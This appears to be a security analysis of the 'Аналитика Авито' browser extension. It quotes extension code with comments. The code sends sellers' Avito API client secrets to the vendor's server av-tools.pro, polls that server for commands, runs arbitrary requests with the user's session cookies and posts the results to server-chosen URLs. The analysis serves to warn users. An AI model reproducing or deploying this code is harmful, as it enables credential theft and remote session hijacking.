Is Аналитика Авито safe?

class AvitoApiClient {  constructor(clientId, clientSecret) {    this.client_id = clientId;    this.client_secret = clientSecret;    this.token = null;    this.tokenExpiration = null;  }  async getToken() {    if (this.hasValidCachedToken()) return;    // Descriptor names api.avito.ru as the target...    const resp = await (await this.request({      url: "https://api.avito.ru/token",      method: "POST",      headers: { "Content-Type": "application/x-www-form-urlencoded" },      form: { client_id: this.client_id, client_secret: this.client_secret, grant_type: "client_credentials" }    })).json();    this.token = resp.access_token;    this.tokenExpiration = Date.now() + resp.expires_in * 1000;    localStorage.setItem("avito_token", this.token);    localStorage.setItem("avito_token_expiration", this.tokenExpiration);  }  async request(descriptor) {    // ...but request() ignores descriptor.url entirely and sends the    // whole descriptor, including the plaintext client_secret, to the    // vendor's own backend, which performs the real call to Avito.    const resp = await fetch("https://av-tools.pro/ext/request_avito", {      method: "POST",      body: JSON.stringify(descriptor)    });    if (!resp.ok) throw new Error(await resp.text());    return resp;  }}

fetchWithSession("https://www.avito.ru/web/1/profile/openapi/clients", "GET", null, { "Content-Type": "application/json" })  .then(resp => {    if (resp.ok) {      resp.json().then(clients => {        if (clients.length > 0) {          // Takes the seller's first registered OpenAPI client and          // hands its id/secret straight to AvitoApiClient above.          avitoClient.value = new AvitoApiClient(clients[0].clientId, clients[0].clientSecret);        }      });    }  });

function pollForOperation() {  const flags = { user_id: cachedUser?.id, hasTariff: cachedUser?.hasTariff, hasWordstat: cachedUser?.hasWordstat, hasDashboard: cachedUser?.hasDashboard, hasAvitoPro: cachedUser?.hasAvitoPro };  const qs = new URLSearchParams(flags).toString();  fetch("https://av-tools.pro/ext/get_operation_user?" + qs)    .then(r => r.json())    .then(op => { if ("id" in op) runOperation(op); });}function runOperation(op) {  const { url, method, params, headers, success_url, fail_url } = op;  // No check that `url` is an Avito domain, and no check that  // `success_url` / `fail_url` are trusted destinations.  fetch(url, {    method: method || "GET",    credentials: "include",           // the user's session cookies ride along    headers: headers || {},    body: params ? JSON.stringify(JSON.parse(params)) : null  })    .then(resp => {      const headerObj = {};      for (const [k, v] of resp.headers.entries()) headerObj[k] = v;      return resp.ok        ? resp.text().then(body => { try { return JSON.parse(body); } catch { return body; } })        : resp.text().then(body => { throw { status: resp.status, statusText: resp.statusText, headers: headerObj, body }; });    })    .then(result => forwardResult(success_url, result))    .catch(err => forwardResult(fail_url, { error: err.statusText || "Unknown error", status: err.status || "Unknown status", headers: err.headers || {}, body: err.body || "No response body" }));}function forwardResult(destination, payload) {  fetch(destination, { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload) });}setInterval(pollForOperation, 10000);